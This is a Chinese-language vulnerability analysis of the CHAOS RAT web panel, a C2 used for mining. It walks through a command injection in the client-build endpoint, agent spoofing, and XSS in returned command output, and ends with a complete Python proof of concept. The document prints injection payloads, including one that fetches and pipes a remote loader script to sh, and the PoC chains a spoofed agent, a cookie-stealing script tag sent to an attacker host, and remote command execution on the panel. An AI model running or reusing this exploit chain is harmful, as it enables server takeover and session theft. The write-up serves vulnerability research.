CHAOS-RAT-RCE

简介

CHAOS RAT是由Golang开发的一款带有web面板的开源c2,主要用来挖矿,简单复现分析一下该RAT存在的rce漏洞

image-20240411214402436

环境搭建

项目地址:https://github.com/tiagorlampert/CHAOS

解压,docker运行

# Create a shared directory between the host and container
$ mkdir ~/chaos-container

$ docker run -it -v ~/chaos-container:/database/ -v ~/chaos-container:/temp/ \
-e PORT=8080 -e SQLITE_DATABASE=chaos -p 8080:8080 tiagorlampert/chaos:latest

image-20240411155522973

代码分析

命令注入

首先在BuildClient 函数找到了一处命令注入

func (c clientService) BuildClient(input BuildClientBinaryInput) (string, error) {
if !isValidIPAddress(input.ServerAddress) && !isValidURL(input.ServerAddress) {
return "", internal.ErrInvalidServerAddress
}
if !isValidPort(input.ServerPort) {
return "", internal.ErrInvalidServerPort
}

filename, err := utils.NormalizeString(input.Filename)
if err != nil {
return "", err
}

newToken, err := c.GenerateNewToken()
if err != nil {
return "", err
}

const buildStr = `GO_ENABLED=1 GOOS=%s GOARCH=amd64 go build -ldflags '%s -s -w -X main.Version=%s -X main.Port=%s -X main.ServerAddress=%s -X main.Token=%s -extldflags "-static"' -o ../temp/%s main.go`

filename = buildFilename(input.OSTarget, filename)
buildCmd := fmt.Sprintf(buildStr, handleOSType(input.OSTarget), runHidden(input.RunHidden), c.AppVersion, input.ServerPort, input.ServerAddress, newToken, filename)

cmd := exec.Command("sh", "-c", buildCmd)
cmd.Dir = "client/"

outputErr, err := cmd.CombinedOutput()
if err != nil {
return "", fmt.Errorf("%w:%s", err, outputErr)
}
return filename, nil
}

本地验证命令注入,通过反引号成功实现命令注入

image-20240411163237194

该函数在 generateBinaryPostHandler 中被调用

func (h *httpController) generateBinaryPostHandler(c *gin.Context) {
var req request.GenerateClientRequestForm
if err := c.ShouldBindWith(&req, binding.Form); err != nil {
c.String(http.StatusBadRequest, err.Error())
return
}
osTarget, err := strconv.Atoi(req.OSTarget)
if err != nil {
c.String(http.StatusBadRequest, err.Error())
return
}

binary, err := h.ClientService.BuildClient(client.BuildClientBinaryInput{
ServerAddress: req.Address,
ServerPort: req.Port,
OSTarget: system.OSTargetIntMap[osTarget],
Filename: req.Filename,
RunHidden: utils.ParseCheckboxBoolean(req.RunHidden),
})
if err != nil {
h.Logger.Error(err)
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.String(http.StatusOK, binary)
return
}

而该handler对应的后台路由为 /generate

adminGroup.POST("/generate", handler.generateBinaryPostHandler)

通过访问该路由,推测该函数用于生成client被控端,输入的参数例如RunHidden、ServerAddress、ServerPort等

image-20240411162315891

抓包查看所需参数,只有 address、port、os_target、filename、run_hidden五个参数可控

POST /generate HTTP/1.1
Host: 192.168.76.128:8080
Cookie: XDEBUG_SESSION=PHPSTORM; jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MTI4MzAxODgsIm9yaWdfaWF0IjoxNzEyODI2NTg4LCJ1c2VyIjoiYWRtaW4ifQ.qaYqzrnAypBZ5dVkRk5LR4GX3U_10dnZxVK6IAwXyfc
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8RrfJ8oE1HE3x45z
Referer: http://192.168.76.128:8080/generate
Origin: http://192.168.76.128:8080
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 537

------WebKitFormBoundary8RrfJ8oE1HE3x45z
Content-Disposition: form-data; name="address"

172.17.0.2
------WebKitFormBoundary8RrfJ8oE1HE3x45z
Content-Disposition: form-data; name="port"

8080
------WebKitFormBoundary8RrfJ8oE1HE3x45z
Content-Disposition: form-data; name="os_target"

1
------WebKitFormBoundary8RrfJ8oE1HE3x45z
Content-Disposition: form-data; name="filename"


------WebKitFormBoundary8RrfJ8oE1HE3x45z
Content-Disposition: form-data; name="run_hidden"

false
------WebKitFormBoundary8RrfJ8oE1HE3x45z--

但是每个参数都有一定的检查,经过审计后,只有address存在利用可能

if !isValidIPAddress(input.ServerAddress) && !isValidURL(input.ServerAddress) {
return "", internal.ErrInvalidServerAddress
}

if !isValidPort(input.ServerPort) {
return "", internal.ErrInvalidServerPort
}

filename, err := utils.NormalizeString(input.Filename)
if err != nil {
return "", err
}

针对isValidURL的绕过依旧利用反引号

http://example.com/'`touch /tmp/pwn`'
or
http://example.com'$(IFS=];b=curl]192.168.1.6:80/loader.sh;$b|sh)'

image-20240411174432127

agent分析

生成的agent,主要有三个信息,serveraddress,serverport,token。前两个不用说,token用于agent的身份认证,这些信息都以string形式存放在agent的编译信息中

image-20240411180504245

上线流程为:

  1. 以http携带jwt为cookie字段,不断访问server的 /health 用于检测是否可达 和 /device 用于发送agent主机信息,server端将收到的信息保存,访问 /devices 用于查看所有的上线agent
  2. 以websocket与server的 /client 建立连接,等待指令

结合以上信息,通过提取agent的三个信息,可以伪造agent上线,并且可以控制向server的信息回传

XSS

能造成xss的无非两个地方,主机信息 与 命令回传

在命令回传处,直接输出,造成xss

image-20240411191257276

伪造上线

image-20240411191154093

输入命令,xss

image-20240411191401017

漏洞组合

伪造上线->xss->csrf->server端rce 或 伪造上线->xss->cookie登录->server端rce

POC

import time
import requests
import threading
import json
import websocket
import argparse
import sys
import re

from functools import partial
from http.server import BaseHTTPRequestHandler, HTTPServer


class Collector(BaseHTTPRequestHandler):
def __init__(self, ip, port, target, *args, **kwargs):
self.ip = ip
self.port = port
self.target = target
super().__init__(*args, **kwargs)

def do_GET(self):
print(self.path)
cookie = self.path.split("=")[1]
self.send_response(200)
self.end_headers()
self.wfile.write(b"")

print(f"[+]Exploiting {self.target} with JWT {cookie}")
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Content-Type': 'multipart/form-data; boundary=---------------------------196428912119225031262745068932',
'Cookie': f'jwt={cookie}'
}
requests.post(url=f"http://{self.target}/generate",data=f'-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="address"\r\n\r\nhttp://example.com/\'`touch /tmp/pwn`\'\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="port"\r\n\r\n8080\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="os_target"\r\n\r\n1\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="filename"\r\n\r\n\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="run_hidden"\r\n\r\nfalse\r\n-----------------------------196428912119225031262745068932--\r\n',headers=headers,verify=False)


def convert_to_int_array(string):
int_array = []
for char in string:
int_array.append(ord(char))
return int_array

def extract_client_info(path):
with open(path, 'rb') as f:
data = str(f.read())

address_regexp = r"main\.ServerAddress=(?:[0-9]{1,3}\.){3}[0-9]{1,3}"
address_pattern = re.compile(address_regexp)
address = address_pattern.findall(data)[0].split("=")[1]

port_regexp = r"main\.Port=\d{1,6}"
port_pattern = re.compile(port_regexp)
port = port_pattern.findall(data)[0].split("=")[1]

jwt_regexp = r"main\.Token=[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*"
jwt_pattern = re.compile(jwt_regexp)
jwt = jwt_pattern.findall(data)[0].split("=")[1]

return f"{address}:{port}", jwt

def keep_connection(target, cookie, hostname, username, os_name, mac, ip):
headers = {
"Cookie": f"jwt={cookie}"
}
while True:
data = {"hostname": hostname, "username":username,"user_id": username,"os_name": os_name, "os_arch":"amd64", "mac_address": mac, "local_ip_address": ip, "port":"8000", "fetched_unix":int(time.time())}
requests.get(f"http://{target}/health", headers=headers)
requests.post(f"http://{target}/device", headers=headers, json=data)
time.sleep(30)

def handle_command(target, cookie, mac, ip, port):
headers = {
"Cookie": f"jwt={cookie}",
"X-Client": mac
}
ws = websocket.WebSocket()
ws.connect(f'ws://{target}/client', header=headers)
while True:
ws.recv()
data = {"client_id": mac, "response": convert_to_int_array(f"<script>var i = new Image;i.src='http://{ip}:{port}/'+document.cookie;</script>"), "has_error": False}

ws.send_binary(json.dumps(data))


def run(ip, port, target):
server_address = (ip, int(port))

collector = partial(Collector, ip, port, target)
httpd = HTTPServer(server_address, collector)
print(f'Server running on port {ip}:{port}')
httpd.serve_forever()

if __name__ == "__main__":
parser = argparse.ArgumentParser()
subparsers = parser.add_subparsers(dest="option")

exploit = subparsers.add_parser("exploit")
exploit.add_argument("-f", "--file", help="The path to the CHAOS client")
exploit.add_argument("-l", "--local_ip", help="The local IP to use for serving bash script and mp4", required=True)
args = parser.parse_args()

if args.option == "exploit":
target, jwt = extract_client_info(args.file)

bg = threading.Thread(target=keep_connection, args=(target, jwt, "DC01", "Administrator", "Windows", "3f:72:58:91:56:56", "10.0.17.12"))
bg.start()

cmd = threading.Thread(target=handle_command, args=(target, jwt, "3f:72:58:91:56:56", args.local_ip, 8000))
cmd.start()

server = threading.Thread(target=run, args=(args.local_ip, 8000, target))
server.start()

else:
parser.print_help(sys.stderr)
sys.exit(1)

image-20240411211951923

Reference:Remote code execution (CVE-2024-30850) on CHAOS RAT v5.01 web panel via spoofed agent callbacks (CVE-2024-31839)